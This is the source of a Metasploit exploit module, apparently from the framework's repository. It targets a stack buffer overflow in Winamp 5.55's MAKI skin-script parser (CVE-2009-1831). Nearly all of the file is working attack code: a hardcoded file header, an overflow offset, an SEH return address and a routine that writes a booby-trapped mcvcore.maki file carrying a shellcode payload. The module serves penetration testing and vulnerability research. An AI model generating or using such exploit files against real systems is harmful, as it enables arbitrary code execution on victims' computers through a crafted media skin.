metasploit-framework/modules/exploits/windows/fileformat/winamp_maki_bof.rb

138 lines
5.8 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Winamp MAKI Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
where memmove is used with in a insecure way with user controlled data.
To exploit the vulnerability the attacker must convince the attacker to install the
generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
or generate a new skin using the crafted mcvcore.maki file. The module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Monica Sojeong Hong', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2009-1831'],
[ 'OSVDB', '54902'],
[ 'BID', '35052'],
[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 4000,
'DisableNops' => true,
'BadChars' => ""
},
'Platform' => 'win',
'Targets' =>
[
# winamp.exe 5.5.5.2405
[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x12f02bc3, # ppr from in_mod.dll
'Offset' => 16756
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 20 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name (do not change!)', 'mcvcore.maki']),
], self.class)
end
def exploit
header = "\x46\x47\x03\x04\x17\x00\x00\x00\x2A\x00\x00\x00\x71\x49\x65\x51"
header << "\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7\x64\x0F\xF5\xD6"
header << "\xFA\x93\xB7\x49\x93\xF1\xBA\x66\xEF\xAE\x3E\x98\x7B\xC4\x0D\xE9"
header << "\x0D\x84\xE7\x4A\xB0\x2C\x04\x0B\xD2\x75\xF7\xFC\xB5\x3A\x02\xB2"
header << "\x4D\x43\xA1\x4B\xBE\xAE\x59\x63\x75\x03\xF3\xC6\x78\x57\xC6\x87"
header << "\x43\xE7\xFE\x49\x85\xF9\x09\xCC\x53\x2A\xFD\x56\x65\x36\x60\x38"
header << "\x1B\x46\xA7\x42\xAA\x75\xD8\x3F\x66\x67\xBF\x73\xF4\x7A\x78\xF4"
header << "\xBB\xB2\xF7\x4E\x9C\xFB\xE7\x4B\xA9\xBE\xA8\x8D\x02\x0C\x37\x3A"
header << "\xBF\x3C\x9F\x43\x84\xF1\x86\x88\x5B\xCF\x1E\x36\xB6\x5B\x0C\x5D"
header << "\xE1\x7D\x1F\x4B\xA7\x0F\x8D\x16\x59\x94\x19\x41\x99\xE1\xE3\x4E"
header << "\x36\xC6\xEC\x4B\x97\xCD\x78\xBC\x9C\x86\x28\xB0\xE5\x95\xBE\x45"
header << "\x72\x20\x91\x41\x93\x5C\xBB\x5F\xF9\xF1\x17\xFD\x4E\x6D\x90\x60"
header << "\x7E\x53\x2E\x48\xB0\x04\xCC\x94\x61\x88\x56\x72\xC0\xBC\x3A\x40"
header << "\x22\x6F\xD6\x4B\x8B\xA4\x10\xC8\x29\x93\x25\x47\x4D\x3E\xAA\x97"
header << "\xD0\xF4\xA8\x4F\x81\x7B\x0A\xF2\x2A\x45\x49\x83\xFA\xBB\xE4\x64"
header << "\xF4\x81\xD9\x49\xB0\xC0\xA8\x5B\x2E\xC3\xBC\xFD\x3F\x5E\xB6\x62"
header << "\x5E\x37\x8D\x40\x8D\xEA\x76\x81\x4A\xB9\x1B\x77\xBE\x97\x4F\xCE"
header << "\xB0\x77\x19\x4E\x99\x56\xD4\x98\x33\xC9\x6C\x27\x0D\x20\xC2\xA8"
header << "\xEB\x51\x2A\x4B\xBA\x7F\x5D\x4B\xC6\x5D\x4C\x71\x38\xBA\x1E\x8D"
header << "\x9E\x48\x3E\x48\xB9\x60\x8D\x1F\x43\xC5\xC4\x05\x40\xC9\x08\x0F"
header << "\x39\xAF\x23\x4B\x80\xF3\xB8\xC4\x8F\x7E\xBB\x59\x72\x86\xAA\xEF"
header << "\x0E\x31\xFA\x41\xB7\xDC\x85\xA9\x52\x5B\xCB\x4B\x44\x32\xFD\x7D"
header << "\x51\x37\x7C\x4E\xBF\x40\x82\xAE\x5F\x3A\xDC\x33\x15\xFA\xB9\x5A"
header << "\x7D\x9A\x57\x45\xAB\xC8\x65\x57\xA6\xC6\x7C\xA9\xCD\xDD\x8E\x69"
header << "\x1E\x8F\xEC\x4F\x9B\x12\xF9\x44\xF9\x09\xFF\x45\x27\xCD\x64\x6B"
header << "\x26\x5A\x4B\x4C\x8C\x59\xE6\xA7\x0C\xF6\x49\x3A\xE4\x05\xCB\x6D"
header << "\xC4\x8A\xC2\x48\xB1\x93\x49\xF0\x91\x0E\xF5\x4A\xFF\xCF\xDC\xB4"
header << "\xFE\x81\xCC\x4B\x96\x1B\x72\x0F\xD5\xBE\x0F\xFF\xE1\x8C\xE2\x01"
header << "\x59\xB0\xD5\x11\x97\x9F\xE4\xDE\x6F\x51\x76\x0A\xBD\xF8\xF0\x80"
header << "\xA5\x1B\xA6\x42\xA0\x93\x32\x36\xA0\x0C\x8D\x4A\x1B\x34\x2E\x9B"
header << "\x98\x6C\xFA\x40\x8B\x85\x0C\x1B\x6E\xE8\x94\x05\x71\x9B\xD5\x36"
header << "\xFD\x03\xF8\x4A\x97\x95\x05\x02\xB7\xDB\x26\x7A\x10\xF2\xD5\x7F"
header << "\xC4\xAC\xDF\x48\xA6\xA0\x54\x51\x57\x6C\xDC\x76\x35\xA5\xBA\xB5"
header << "\xB3\x05\xCB\x4D\xAD\xC1\xE6\x18\xD2\x8F\x68\x96\xC1\xFE\x29\x61"
header << "\xB7\xDA\x51\x4D\x91\x65\x01\xCA\x0C\x1B\x70\xDB\xF7\x14\x95\xD5"
header << "\x36\xED\xE8\x45\x98\x0F\x3F\x4E\xA0\x52\x2C\xD9\x82\x4B\x3B\x9B"
header << "\x7A\x66\x0E\x42\x8F\xFC\x79\x41\x15\x80\x9C\x02\x99\x31\xED\xC7"
header << "\x19\x53\x98\x47\x98\x63\x60\xB1\x5A\x29\x8C\xAA\x4D\xC1\xBB\xE2"
header << "\xF6\x84\x73\x41\xBD\xB3\xB2\xEB\x2F\x66\x55\x50\x94\x05\xC0\x73"
header << "\x1F\x96\x1B\x40\x9B\x1B\x67\x24\x27\xAC\x41\x65\x22\xBA\x3D\x59"
header << "\x77\xD0\x76\x49\xB9\x52\xF4\x71\x36\x55\x40\x0B\x82\x02\x03\xD4"
header << "\xAB\x3A\x87\x4D\x87\x8D\x12\x32\x6F\xAD\xFC\xD5\x83\xC2\xDE\x24"
header << "\x6E\xB7\x36\x4A\x8C\xCC\x9E\x24\xC4\x6B\x6C\x73\x37\x00\x00\x00"
header << "\x01\x01\x00\x00"
sploit = rand_text(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << payload.encoded
length_sploit = [sploit.length].pack("v")
maki = header
maki << length_sploit
maki << sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(maki)
end
end